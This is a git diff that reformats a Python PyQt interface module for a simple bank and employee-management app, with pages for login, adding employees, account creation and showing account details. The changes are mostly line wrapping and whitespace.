------------------------------------------------------------------------------------------------------------- + def create_styled_frame(parent, min_size=None, style=""): """Create a styled QFrame with optional minimum size and custom style.""" frame = QtWidgets.QFrame(parent) @@ -43,7 +44,10 @@ def create_styled_frame(parent, min_size=None, style=""): frame.setStyleSheet(style) return frame -def create_styled_label(parent, text, font_size=12, bold=False, style="color: #2c3e50; padding: 10px;"): + +def create_styled_label( + parent, text, font_size=12, bold=False, style="color: #2c3e50; padding: 10px;" +): """Create a styled QLabel with customizable font size and boldness.""" label = QtWidgets.QLabel(parent) font = QtGui.QFont("Segoe UI", font_size) @@ -55,6 +59,7 @@ def create_styled_label(parent, text, font_size=12, bold=False, style="color: #2 label.setText(text) return label + def create_styled_button(parent, text, min_size=None): """Create a styled QPushButton with hover and pressed effects.""" button = QtWidgets.QPushButton(parent) @@ -81,45 +86,62 @@ def create_styled_button(parent, text, min_size=None): button.setText(text) return button + def create_input_field(parent, label_text, min_label_size=(120, 0)): """Create a horizontal layout with a label and a QLineEdit.""" frame = create_styled_frame(parent, style="padding: 7px;") layout = QtWidgets.QHBoxLayout(frame) layout.setContentsMargins(0, 0, 0, 0) layout.setSpacing(0) - - label = create_styled_label(frame, label_text, font_size=12, bold=True, style="color: #2c3e50;") + + label = create_styled_label( + frame, label_text, font_size=12, bold=True, style="color: #2c3e50;" + ) if min_label_size: label.setMinimumSize(QtCore.QSize(*min_label_size)) - + line_edit = QtWidgets.QLineEdit(frame) line_edit.setFont(FONT_SIZE) - line_edit.setStyleSheet("background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;") - + line_edit.setStyleSheet( + "background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) + layout.addWidget(label) layout.addWidget(line_edit) return frame, line_edit + def create_input_field_V(parent, label_text, min_label_size=(120, 0)): """Create a horizontal layout with a label and a QLineEdit.""" frame = create_styled_frame(parent, style="padding: 7px;") layout = QtWidgets.QVBoxLayout(frame) layout.setContentsMargins(0, 0, 0, 0) layout.setSpacing(0) - - label = create_styled_label(frame, label_text, font_size=12, bold=True, style="color: #2c3e50;") + + label = create_styled_label( + frame, label_text, font_size=12, bold=True, style="color: #2c3e50;" + ) if min_label_size: label.setMinimumSize(QtCore.QSize(*min_label_size)) - + line_edit = QtWidgets.QLineEdit(frame) - line_edit.setStyleSheet("background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;") + line_edit.setStyleSheet( + "background-color: #f0f0f0; border: 1px solid #ccc; border-radius: 4px; padding: 8px;" + ) line_edit.setFont(FONT_SIZE) - + layout.addWidget(label) layout.addWidget(line_edit) return frame, line_edit -def show_popup_message(parent, message: str, page: int = None, show_cancel: bool = False,cancel_page: int = HOME_PAGE): + +def show_popup_message( + parent, + message: str, + page: int = None, + show_cancel: bool = False, + cancel_page: int = HOME_PAGE, +): """Reusable popup message box. Args: @@ -132,16 +154,16 @@ def show_popup_message(parent, message: str, page: int = None, show_cancel: bool dialog.setWindowTitle("Message") dialog.setFixedSize(350, 100) dialog.setStyleSheet("background-color: #f0f0f0;") - + layout = QtWidgets.QVBoxLayout(dialog) layout.setSpacing(10) layout.setContentsMargins(15, 15, 15, 15) - + label = QtWidgets.QLabel(message) label.setStyleSheet("font-size: 12px; color: #2c3e50;") label.setWordWrap(True) layout.addWidget(label) - + # Decide which buttons to show if show_cancel: button_box = QtWidgets.QDialogButtonBox( @@ -149,7 +171,7 @@ def show_popup_message(parent, message: str, page: int = None, show_cancel: bool ) else: button_box = QtWidgets.QDialogButtonBox(QtWidgets.QDialogButtonBox.Ok) - + button_box.setStyleSheet(""" QPushButton { background-color: #3498db; @@ -166,44 +188,55 @@ def show_popup_message(parent, message: str, page: int = None, show_cancel: bool } """) layout.addWidget(button_box) - + # Connect buttons def on_accept(): if page is not None: parent.setCurrentIndex(page) dialog.accept() - + def on_reject(): if page is not None: parent.setCurrentIndex(cancel_page) dialog.reject() - + button_box.accepted.connect(on_accept) button_box.rejected.connect(on_reject) - + dialog.exec_() -def search_result(parent, title,label_text): + +def search_result(parent, title, label_text): page, main_layout = create_page_with_header(parent, title) content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) content_layout.alignment - - form_frame = create_styled_frame(content_frame, min_size=(400, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) form_layout.setSpacing(3) # Define input fields user = create_input_field(form_frame, label_text, min_label_size=(180, 0)) form_layout.addWidget(user[0]) - user_account_number= user[1] + user_account_number = user[1] user_account_number.setFont(FONT_SIZE) submit_button = create_styled_button(form_frame, "Submit", min_size=(100, 50)) form_layout.addWidget(submit_button) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) - - return page,(user_account_number,submit_button) + + return page, (user_account_number, submit_button) + + # ------------------------------------------------------------------------------------------------------------- # === Page Creation Functions == # ------------------------------------------------------------------------------------------------------------- @@ -214,41 +247,55 @@ def create_page_with_header(parent, title_text): main_layout.setContentsMargins(20, 20, 20, 20) main_layout.setSpacing(20) - header_frame = create_styled_frame(page, style="background-color: #ffffff; border-radius: 10px; padding: 10px;") + header_frame = create_styled_frame( + page, style="background-color: #ffffff; border-radius: 10px; padding: 10px;" + ) header_layout = QtWidgets.QVBoxLayout(header_frame) title_label = create_styled_label(header_frame, title_text, font_size=30) header_layout.addWidget(title_label, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignTop) - + main_layout.addWidget(header_frame, 0, QtCore.Qt.AlignTop) return page, main_layout + + def get_employee_name(parent, name_field_text="Enter Employee Name"): page, main_layout = create_page_with_header(parent, "Employee Data Update") - + # Content frame content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) - + # Form frame - form_frame = create_styled_frame(content_frame, min_size=(340, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + form_frame = create_styled_frame( + content_frame, + min_size=(340, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) - + # Form fields name_label, name_field = create_input_field(form_frame, name_field_text) search_button = create_styled_button(form_frame, "Search", min_size=(100, 30)) form_layout.addWidget(name_label) form_layout.addWidget(search_button) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) - + def on_search_button_clicked(): global employee_data entered_name = name_field.text().strip() print(f"Entered Name: {entered_name}") if not entered_name: - QtWidgets.QMessageBox.warning(parent, "Input Error", "Please enter an employee name.") + QtWidgets.QMessageBox.warning( + parent, "Input Error", "Please enter an employee name." + ) return - + try: employee_check = backend.check_name_in_staff(entered_name) print(f"Employee Check: {type(employee_check)},{employee_check}") @@ -258,91 +305,120 @@ def on_search_button_clicked(): employee_data = cur.fetchone() print(f"Employee Data: {employee_data}") parent.setCurrentIndex(UPDATE_EMPLOYEE_PAGE2) - + # if employee_data: # QtWidgets.QMessageBox.information(parent, "Employee Found", # f"Employee data:\nID: {fetch[0]}\nName: {fetch[1]}\nDept: {fetch[2]}\nRole: {fetch[3]}") - - + else: - QtWidgets.QMessageBox.information(parent, "Not Found", "Employee not found.") + QtWidgets.QMessageBox.information( + parent, "Not Found", "Employee not found." + ) except Exception as e: - QtWidgets.QMessageBox.critical(parent, "Error", f"An error occurred: {str(e)}") - + QtWidgets.QMessageBox.critical( + parent, "Error", f"An error occurred: {str(e)}" + ) + search_button.clicked.connect(on_search_button_clicked) - + return page - - #backend.check_name_in_staff() + # backend.check_name_in_staff() + -def create_login_page(parent ,title, name_field_text="Name :", password_field_text="Password :", submit_text="Submit",): +def create_login_page( + parent, + title, + name_field_text="Name :", + password_field_text="Password :", + submit_text="Submit", +): """Create a login page with a title, name and password fields, and a submit button.""" page, main_layout = create_page_with_header(parent, title) - + # Content frame content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) - + # Form frame - form_frame = create_styled_frame(content_frame, min_size=(340, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + form_frame = create_styled_frame( + content_frame, + min_size=(340, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) form_layout.setSpacing(20) - + # Input fields name_frame, name_edit = create_input_field(form_frame, name_field_text) password_frame, password_edit = create_input_field(form_frame, password_field_text) - + # Submit button button_frame = create_styled_frame(form_frame, style="padding: 7px;") button_layout = QtWidgets.QVBoxLayout(button_frame) button_layout.setSpacing(60) submit_button = create_styled_button(button_frame, submit_text, min_size=(150, 0)) button_layout.addWidget(submit_button, 0, QtCore.Qt.AlignHCenter) - + form_layout.addWidget(name_frame) form_layout.addWidget(password_frame) form_layout.addWidget(button_frame) - - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) - - - + return page, name_edit, password_edit, submit_button + def on_login_button_clicked(parent, name_field, password_field): name = name_field.text().strip() password = password_field.text().strip() - + if not name or not password: - show_popup_message(parent, "Please enter your name and password.",HOME_PAGE) + show_popup_message(parent, "Please enter your name and password.", HOME_PAGE) else: try: # Ideally, here you'd call a backend authentication check success = backend.check_admin(name, password) if success: - QtWidgets.QMessageBox.information(parent, "Login Successful", f"Welcome, {name}!") + QtWidgets.QMessageBox.information( + parent, "Login Successful", f"Welcome, {name}!" + ) else: - QtWidgets.QMessageBox.warning(parent, "Login Failed", "Incorrect name or password.") + QtWidgets.QMessageBox.warning( + parent, "Login Failed", "Incorrect name or password." + ) except Exception as e: - QtWidgets.QMessageBox.critical(parent, "Error", f"An error occurred during login: {str(e)}") - + QtWidgets.QMessageBox.critical( + parent, "Error", f"An error occurred during login: {str(e)}" + ) + + def create_home_page(parent, on_admin_clicked, on_employee_clicked, on_exit_clicked): """Create the home page with Admin, Employee, and Exit buttons.""" page, main_layout = create_page_with_header(parent, "Admin Menu") - + # Button frame button_frame = create_styled_frame(page) - button_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + button_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) button_layout = QtWidgets.QVBoxLayout(button_frame) - + # Button container - button_container = create_styled_frame(button_frame, min_size=(300, 0), style="background-color: #ffffff; border-radius: 15px; padding: 20px;") + button_container = create_styled_frame( + button_frame, + min_size=(300, 0), + style="background-color: #ffffff; border-radius: 15px; padding: 20px;", + ) button_container_layout = QtWidgets.QVBoxLayout(button_container) button_container_layout.setSpacing(15) - + # Buttons admin_button = create_styled_button(button_container, "Admin") employee_button = create_styled_button(button_container, "Employee") @@ -365,34 +441,49 @@ def create_home_page(parent, on_admin_clicked, on_employee_clicked, on_exit_clic background-color: #992d22; } """) - + button_container_layout.addWidget(admin_button) button_container_layout.addWidget(employee_button) button_container_layout.addWidget(exit_button) - - button_layout.addWidget(button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + + button_layout.addWidget( + button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(button_frame) - + # Connect button signals admin_button.clicked.connect(on_admin_clicked) employee_button.clicked.connect(on_employee_clicked) exit_button.clicked.connect(on_exit_clicked) - + return page + def create_admin_menu_page(parent): page, main_layout = create_page_with_header(parent, "Admin Menu") button_frame = create_styled_frame(page) - button_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + button_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) button_layout = QtWidgets.QVBoxLayout(button_frame) - button_container = create_styled_frame(button_frame, min_size=(300, 0), style="background-color: #ffffff; border-radius: 15px; padding: 20px;") + button_container = create_styled_frame( + button_frame, + min_size=(300, 0), + style="background-color: #ffffff; border-radius: 15px; padding: 20px;", + ) button_container_layout = QtWidgets.QVBoxLayout(button_container) button_container_layout.setSpacing(15) # Define button labels - button_labels = ["Add Employee", "Update Employee", "Employee List", "Total Money", "Back"] + button_labels = [ + "Add Employee", + "Update Employee", + "Employee List", + "Total Money", + "Back", + ] buttons = [] for label in button_labels: @@ -400,19 +491,30 @@ def create_admin_menu_page(parent): button_container_layout.addWidget(btn) buttons.append(btn) - button_layout.addWidget(button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + button_layout.addWidget( + button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(button_frame) return page, *buttons # Unpack as add_button, update_employee, etc. - -def create_add_employee_page(parent, title, submit_text="Submit",update_btn:bool=False): + + +def create_add_employee_page( + parent, title, submit_text="Submit", update_btn: bool = False +): page, main_layout = create_page_with_header(parent, title) content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) - form_frame = create_styled_frame(content_frame, min_size=(340, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + form_frame = create_styled_frame( + content_frame, + min_size=(340, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) form_layout.setSpacing(10) @@ -443,12 +545,15 @@ def create_add_employee_page(parent, title, submit_text="Submit",update_btn:bool update_button = create_styled_button(button_frame, "Update", min_size=(100, 50)) button_layout.addWidget(update_button, 0, QtCore.Qt.AlignHCenter) else: - submit_button = create_styled_button(button_frame, submit_text, min_size=(100, 50)) + submit_button = create_styled_button( + button_frame, submit_text, min_size=(100, 50) + ) button_layout.addWidget(submit_button, 0, QtCore.Qt.AlignHCenter) - form_layout.addWidget(button_frame) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) back_btn = QtWidgets.QPushButton("Back", content_frame) back_btn.setStyleSheet(""" @@ -465,61 +570,92 @@ def create_add_employee_page(parent, title, submit_text="Submit",update_btn:bool } """) back_btn.clicked.connect(lambda: parent.setCurrentIndex(ADMIN_MENU_PAGE)) - main_layout.addWidget(back_btn, 0,alignment=QtCore.Qt.AlignLeft) + main_layout.addWidget(back_btn, 0, alignment=QtCore.Qt.AlignLeft) if update_btn: return page, name_edit, password_edit, salary_edit, position_edit, update_button else: - return page, name_edit, password_edit, salary_edit, position_edit, submit_button # Unpack as name_edit, password_edit, etc. - + return ( + page, + name_edit, + password_edit, + salary_edit, + position_edit, + submit_button, + ) # Unpack as name_edit, password_edit, etc. + + def show_employee_list_page(parent, title): page, main_layout = create_page_with_header(parent, title) - - content_frame = create_styled_frame(page, style="background-color: #f9f9f9; border-radius: 10px; padding: 15px;") - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + + content_frame = create_styled_frame( + page, style="background-color: #f9f9f9; border-radius: 10px; padding: 15px;" + ) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) # Table frame - table_frame = create_styled_frame(content_frame, style="background-color: #ffffff; border-radius: 8px; padding: 10px;") + table_frame = create_styled_frame( + content_frame, + style="background-color: #ffffff; border-radius: 8px; padding: 10px;", + ) table_layout = QtWidgets.QVBoxLayout(table_frame) table_layout.setSpacing(0) # Header row - header_frame = create_styled_frame(table_frame, style="background-color: #f5f5f5; ; border-radius: 8px 8px 0 0; padding: 10px;") + header_frame = create_styled_frame( + table_frame, + style="background-color: #f5f5f5; ; border-radius: 8px 8px 0 0; padding: 10px;", + ) header_layout = QtWidgets.QHBoxLayout(header_frame) header_layout.setContentsMargins(10, 5, 10, 5) headers = ["Name", "Position", "Salary"] for i, header in enumerate(headers): header_label = QtWidgets.QLabel(header, header_frame) - header_label.setStyleSheet("font-weight: bold; font-size: 14px; color: #333333; padding: 0px; margin: 0px;") + header_label.setStyleSheet( + "font-weight: bold; font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) if i == 2: # Right-align salary header header_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter) else: header_label.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter) - header_layout.addWidget(header_label, 1 if i < 2 else 0) # Stretch name and position, not salary + header_layout.addWidget( + header_label, 1 if i < 2 else 0 + ) # Stretch name and position, not salary table_layout.addWidget(header_frame) # Employee rows employees = backend.show_employees_for_update() for row, employee in enumerate(employees): - row_frame = create_styled_frame(table_frame, style=f"background-color: {'#fafafa' if row % 2 else '#ffffff'}; padding: 8px;") + row_frame = create_styled_frame( + table_frame, + style=f"background-color: {'#fafafa' if row % 2 else '#ffffff'}; padding: 8px;", + ) row_layout = QtWidgets.QHBoxLayout(row_frame) row_layout.setContentsMargins(10, 5, 10, 5) # Name name_label = QtWidgets.QLabel(employee[0], row_frame) - name_label.setStyleSheet("font-size: 14px; color: #333333; padding: 0px; margin: 0px;") + name_label.setStyleSheet( + "font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) name_label.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter) row_layout.addWidget(name_label, 1) # Position position_label = QtWidgets.QLabel(employee[3], row_frame) - position_label.setStyleSheet("font-size: 14px; color: #333333; padding: 0px; margin: 0px;") + position_label.setStyleSheet( + "font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) position_label.setAlignment(QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter) row_layout.addWidget(position_label, 1) # Salary (formatted as currency) salary_label = QtWidgets.QLabel(f"${float(employee[2]):,.2f}", row_frame) - salary_label.setStyleSheet("font-size: 14px; color: #333333; padding: 0px; margin: 0px;") + salary_label.setStyleSheet( + "font-size: 14px; color: #333333; padding: 0px; margin: 0px;" + ) salary_label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignVCenter) row_layout.addWidget(salary_label, 0) @@ -527,7 +663,7 @@ def show_employee_list_page(parent, title): # Add stretch to prevent rows from expanding vertically table_layout.addStretch() - + # Back button back_button = QtWidgets.QPushButton("Back", content_frame) back_button.setStyleSheet(""" @@ -544,23 +680,29 @@ def show_employee_list_page(parent, title): } """) back_button.clicked.connect(lambda: parent.setCurrentIndex(ADMIN_MENU_PAGE)) - + content_layout.addWidget(table_frame) main_layout.addWidget(back_button, alignment=QtCore.Qt.AlignLeft) main_layout.addWidget(content_frame) - + return page + + def show_total_money(parent, title): page, main_layout = create_page_with_header(parent, title) - content_frame = create_styled_frame(page, style="background-color: #f9f9f9; border-radius: 10px; padding: 15px;") + content_frame = create_styled_frame( + page, style="background-color: #f9f9f9; border-radius: 10px; padding: 15px;" + ) content_layout = QtWidgets.QVBoxLayout(content_frame) content_layout.setProperty("spacing", 10) all = backend.all_money() # Total money label total_money_label = QtWidgets.QLabel(f"Total Money: ${all}", content_frame) - total_money_label.setStyleSheet("font-size: 24px; font-weight: bold; color: #333333;") + total_money_label.setStyleSheet( + "font-size: 24px; font-weight: bold; color: #333333;" + ) content_layout.addWidget(total_money_label, alignment=QtCore.Qt.AlignCenter) # Back button back_button = QtWidgets.QPushButton("Back", content_frame) @@ -582,49 +724,77 @@ def show_total_money(parent, title): main_layout.addWidget(content_frame) return page -#-----------employees menu pages----------- + +# -----------employees menu pages----------- def create_employee_menu_page(parent, title): page, main_layout = create_page_with_header(parent, title) button_frame = create_styled_frame(page) - button_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + button_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) button_layout = QtWidgets.QVBoxLayout(button_frame) - button_container = create_styled_frame(button_frame, min_size=(300, 0), style="background-color: #ffffff; border-radius: 15px; padding: 20px;") + button_container = create_styled_frame( + button_frame, + min_size=(300, 0), + style="background-color: #ffffff; border-radius: 15px; padding: 20px;", + ) button_container_layout = QtWidgets.QVBoxLayout(button_container) button_container_layout.setSpacing(15) # Define button labels - button_labels = ["Create Account ", "Show Details", "Add Balance", "Withdraw Money", "Chack Balanace", "Update Account", "list of all Members", "Delete Account", "Back"] + button_labels = [ + "Create Account ", + "Show Details", + "Add Balance", + "Withdraw Money", + "Chack Balanace", + "Update Account", + "list of all Members", + "Delete Account", + "Back", + ] buttons = [] for label in button_labels: - btn:QtWidgets.QPushButton = create_styled_button(button_container, label) + btn: QtWidgets.QPushButton = create_styled_button(button_container, label) button_container_layout.addWidget(btn) buttons.append(btn) - button_layout.addWidget(button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + button_layout.addWidget( + button_container, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(button_frame) return page, *buttons # Unpack as add_button, update_employee, etc. -def create_account_page(parent, title,update_btn=False): + +def create_account_page(parent, title, update_btn=False): page, main_layout = create_page_with_header(parent, title) content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) - form_frame = create_styled_frame(content_frame, min_size=(400, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) form_layout.setSpacing(3) # Define input fields - fields = ["Name :", "Age :", "Address","Balance :", "Mobile number :"] + fields = ["Name :", "Age :", "Address", "Balance :", "Mobile number :"] edits = [] for i, field in enumerate(fields): - field_frame, field_edit = create_input_field(form_frame, field,min_label_size=(160, 0)) + field_frame, field_edit = create_input_field( + form_frame, field, min_label_size=(160, 0) + ) form_layout.addWidget(field_frame) field_edit.setFont(QtGui.QFont("Arial", 12)) if i == 0: @@ -640,7 +810,9 @@ def create_account_page(parent, title,update_btn=False): edits.append(field_edit) # Dropdown for account type account_type_label = QtWidgets.QLabel("Account Type :", form_frame) - account_type_label.setStyleSheet("font-size: 14px; font-weight: bold; color: #333333;") + account_type_label.setStyleSheet( + "font-size: 14px; font-weight: bold; color: #333333;" + ) form_layout.addWidget(account_type_label) account_type_dropdown = QtWidgets.QComboBox(form_frame) account_type_dropdown.addItems(["Savings", "Current", "Fixed Deposit"]) @@ -676,16 +848,17 @@ def create_account_page(parent, title,update_btn=False): # Submit button button_frame = create_styled_frame(form_frame, style="padding: 7px;") button_layout = QtWidgets.QVBoxLayout(button_frame) - + if update_btn: submit_button = create_styled_button(button_frame, "Update", min_size=(100, 50)) else: submit_button = create_styled_button(button_frame, "Submit", min_size=(100, 50)) button_layout.addWidget(submit_button, 0, QtCore.Qt.AlignHCenter) - form_layout.addWidget(button_frame) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) back_btn = QtWidgets.QPushButton("Back", content_frame) back_btn.setStyleSheet(""" @@ -702,46 +875,84 @@ def create_account_page(parent, title,update_btn=False): } """) back_btn.clicked.connect(lambda: parent.setCurrentIndex(EMPLOYEE_MENU_PAGE)) - main_layout.addWidget(back_btn, 0,alignment=QtCore.Qt.AlignLeft) - - return page,( name_edit, Age_edit,Address_edit,Balance_edit,Mobile_number_edit, account_type_dropdown ,submit_button) + main_layout.addWidget(back_btn, 0, alignment=QtCore.Qt.AlignLeft) + + return page, ( + name_edit, + Age_edit, + Address_edit, + Balance_edit, + Mobile_number_edit, + account_type_dropdown, + submit_button, + ) + def create_show_details_page1(parent, title): page, main_layout = create_page_with_header(parent, title) content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) - - form_frame = create_styled_frame(content_frame, min_size=(400, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) form_layout.setSpacing(3) # Define input fields - bannk_user = create_input_field(form_frame, "Enter Bank account Number :", min_label_size=(180, 0)) + bannk_user = create_input_field( + form_frame, "Enter Bank account Number :", min_label_size=(180, 0) + ) form_layout.addWidget(bannk_user[0]) - user_account_number= bannk_user[1] + user_account_number = bannk_user[1] submit_button = create_styled_button(form_frame, "Submit", min_size=(100, 50)) form_layout.addWidget(submit_button) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) - - return page,(user_account_number,submit_button) + + return page, (user_account_number, submit_button) + def create_show_details_page2(parent, title): page, main_layout = create_page_with_header(parent, title) content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) - - form_frame = create_styled_frame(content_frame, min_size=(400, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; border-radius: 15px; padding: 10px;", + ) form_layout = QtWidgets.QVBoxLayout(form_frame) - form_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + form_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) form_layout.setSpacing(3) - + # Define input fields - - labeles = ["Account No: ","Name: ", "Age:", "Address: ", "Balance: ", "Mobile Number: ", "Account Type: "] + + labeles = [ + "Account No: ", + "Name: ", + "Age:", + "Address: ", + "Balance: ", + "Mobile Number: ", + "Account Type: ", + ] for i in range(len(labeles)): - label_frame, input_field = create_input_field(form_frame, labeles[i], min_label_size=(180, 30)) + label_frame, input_field = create_input_field( + form_frame, labeles[i], min_label_size=(180, 30) + ) form_layout.addWidget(label_frame) input_field.setReadOnly(True) input_field.setFont(QtGui.QFont("Arial", 12)) @@ -759,7 +970,7 @@ def create_show_details_page2(parent, title): mobile_number_field = input_field elif i == 6: account_type_field = input_field - + exite_btn = create_styled_button(form_frame, "Exit", min_size=(100, 50)) exite_btn.setStyleSheet(""" QPushButton { @@ -775,56 +986,82 @@ def create_show_details_page2(parent, title): } """) exite_btn.clicked.connect(lambda: parent.setCurrentIndex(EMPLOYEE_MENU_PAGE)) - content_layout.addWidget(form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter) + content_layout.addWidget( + form_frame, 0, QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter + ) main_layout.addWidget(content_frame) main_layout.addWidget(exite_btn) - - return page,(account_no_field,name_field,age_field,address_field,balance_field,mobile_number_field,account_type_field,exite_btn) - -def update_user(parent, title,input_fields_label,input_fielf:bool=True): + + return page, ( + account_no_field, + name_field, + age_field, + address_field, + balance_field, + mobile_number_field, + account_type_field, + exite_btn, + ) + + +def update_user(parent, title, input_fields_label, input_fielf: bool = True): page, main_layout = create_page_with_header(parent, title) content_frame = create_styled_frame(page) - content_frame.setSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding) + content_frame.setSizePolicy( + QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Expanding + ) content_layout = QtWidgets.QVBoxLayout(content_frame) content_layout.alignment - - form_frame = create_styled_frame(content_frame, min_size=(400, 200), style="background-color: #ffffff; border-radius: 15px; padding: 10px;") + + form_frame = create_styled_frame( + content_frame, + min_size=(400, 200), + style="background-color: #ffffff; 